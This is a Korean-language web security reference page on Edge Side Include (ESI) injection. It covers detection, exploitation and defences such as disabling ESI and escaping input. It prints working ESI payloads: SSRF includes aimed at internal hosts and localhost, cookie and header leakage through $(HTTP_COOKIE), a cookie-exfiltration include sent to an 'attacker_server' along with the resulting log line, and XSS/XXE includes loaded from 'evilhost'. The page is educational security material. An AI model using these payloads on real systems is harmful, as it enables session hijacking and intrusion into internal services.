ESI Injection

Introduction

ESIi는 ESI(Edge Side Include) Injection으로 ESI 사용하는 환경에서 해당 Markup에 대한 Injection 공격을 의미합니다.

ESI는 Edge Side Include의 약자로 인터넷의 Edge에서 웹 애플리케이션의 동적 어셈블리 및 전송을 위한 웹 페이지 구성 요소를 정의하는 데 사용되는 간단한 마크업 언어입니다. Page assembly를 위한 표준 태그로 웹 캐시, LB 등의 구조에서 사용됩니다.

HTML 코드 내에서 ESI는 아래와 같이 <esi:> 태그로 웹 브라우저로 Response body가 넘어오기 전에 ESI를 처리할 수 있는 캐시 서버등에서 미리 처리되어 데이터가 넘어오게 됩니다.

<table>
<tr>
<td>test</td>
<td>
<esi:try>
  Invalid markup here
  <esi:attempt>
    <esi:include  >   
    <!-- 실제 코드 구성으론 <esi: 이렇게 시작하지만, -->
    <!-- 캐시에서 해당 부분 내용을 채우고 사용자에게 넘겨줍니다. -->
    This line is valid and will be processed.
  </esi:attempt>
  Invalid markup here
  <esi:except>
  This HTML line is valid and will be processed.
  </esi:except>
  Invalid markup here
</esi:try>
</td>

Affected

ATS, Squid 등 여러 Application에서 사용 가능합니다. 아래 리스트 이외에도 많은 Application이 이를 지원하고 있습니다.

Service Include Param Headers
ATS(Apache Traffic Server) O O O
Squid3 O O O
Varnish Cache O N N
Fastly O N N
Akamai ESI Test Server O O O
NodeJS - esi O O O
NodeJS - nodesi O N N
Oracle Web Cache O O O

Offensive techniques

Detect

<esi:include … > 과 같이 esi 문법을 통해 실제로 브라우저로 데이터가 넘어오기 전 esi 처리가 있는지 확인하면 됩니다. 간단한 방법으론 임의 페이지를 include 하는 방법이 있습니다.

esii test
<esi:include src="http https://www.hahwul.com/CNAME"/>

https://www.hahwul.com/CNAME 페이지의 Body는 아래와 같이 www.hahwul.com만 있습니다.

이제 이 코드를 로드시키는 페이지에서 esi 구문 대신 www.hahwul.com이 찍히게 되면 LB나 캐시 등에서 ESI 문법을 처리한다는 것을 알 수 있습니다.

esii test
www.hahwul.com

Exploitation

SSRF

include를 통해 공격자가 의도한 URL을 Response 페이지 내 include 시킬 수 있습니다. 이를 이용해서 SSRF로 내부 시스템에 접근하거나 OOB(Out-of-Band)로 데이터를 유출할 수 있습니다.

<esi:include src="https://internal_domain"/>
<esi:include src=http://127.0.0.1/server-status/>
<esi:include src=http://internal_domain/server_base_csrf_page/>

Session Hijacking

ESI에서 ${HTTP_COOKIE}를 사용하면 쿠키 정보를 읽을 수 있습니다. 또한 이를 통해서 쿠키 등을 탈취할 수 있습니다. 이러한 형태로 탈취하는 경우 쿠키 보안 정책을 받지 않기 때문에 HttpOnly 등으로 보호된 쿠키도 가져올 수 있습니다.

<esi:vars>$(HTTP_COOKIE)</esi:vars>
<esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars>
<esi:vars>$(HTTP_COOKIE{JSESSIONID})</esi:vars>
<esi:vars>$(HTTP_COOKIE{Private_Cookie})</esi:vars>

하나 예를들어 보면 아래 include로 공격자의 도메인에 웹 요청을 발생 시키도록 유도하고 Query에 Cookie 값을 읽어서 전송하도록 ESI 구문을 작성합니다.

<esi:include src="https://attacker_server/?$(HTTP_COOKIE)"/>

해당 ESI 구문이 처리되어 실행되는 순간 공격자 서버로 웹 요청이 발생하면서 웹 로그를 통해 쿠키 정보를 탈취할 수 있습니다.

Attacker server

127.0.0.1 "GET /?auth=56F21F5D19F9402B04610CF9108264BC266FBAF7... HTTP/1.1" 200

XSS

ESI에서 include는 response 페이지에 직접 해당 페이지를 삽입하기 때문에 미리 구성한 XSS 코드를 Response 페이지에 로드시킬 수 있습니다.

<esi:include src=https://attacker_server/xss.html/>

XXE

XXE도 유사합니다. include로 공격코드가 삽입된 xml 파일을 호출 시킵니다.

<esi:include src="http://evilhost/poc.xml" dca="xslt" stylesheet="http://evilhost/poc.xsl" />

xslt file

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evilhost/file" >]>
<foo>&xxe;</foo>

Leak request body/header

ESI 구문에선 request body와 header도 포함시킬 수 있습니다. 이를 통해 패스워드나 인증 플로우에서 중요한 정보를 공격자가 탈취할 수도 있습니다.

<esi:request_body>
<esi:request_header>

Information leak

위에서 COOKIE 예시를 들었지만, 이외에도 다른 정보도 가져올 수 있습니다.

<esi:vars>$(HTTP_USER_AGENT)</esi:vars>
<esi:vars>$(QUERY_STRING)</esi:vars>

More

이외에도 ESI 문법을 통해 여러가지 형태의 공격이 가능합니다. ESI 문법에 대한 자세한 내용은 아래 Oracle 문서를 참고하시기 바랍니다.

  • https://docs.oracle.com/cd/B14099_19/caching.1012/b14046/esi.htm

Bypass protection

XSS와 유사합니다. ESI를 사용하지만 일부 특수문자 또는 공격구문 등을 제한하도록 로직이 존재할 수 있습니다. 이런 경우 XSS와 동일하게 인코딩 등을 통해 우회를 시도할 수 있습니다. 자세한 내용은 XSS의 Bypass protection 부분을 참고해주세요.

Defensive techniques

Disable ESI

가장 간단한 방법은 서비스에서 ESI를 사용하지 않는다면 Disable 처리하는 것입니다.

Escape ESIi

XSS와 대응방안이 유사합니다. 불필요한 특수문자, 데이터 타입을 임의로 페이지에 반영시켜 동작이 발생하지 않도록 제한합니다. 또한 ESIi는 사용자 즉 클라이언트단 공격이기도 하면서 서버단 공격이기도 합니다. HTTP Request Smuggling 등 다른 취약점과 결합 시 더 큰 리스크를 만들 수 있기 때문에 가급적 꼼꼼하게 체크하는 것이 필요합니다.

Tools

  • I’ll make it later and add it 😎

Articles

  • https://www.hahwul.com/2018/08/18/edge-side-include-injection-web-attack/

References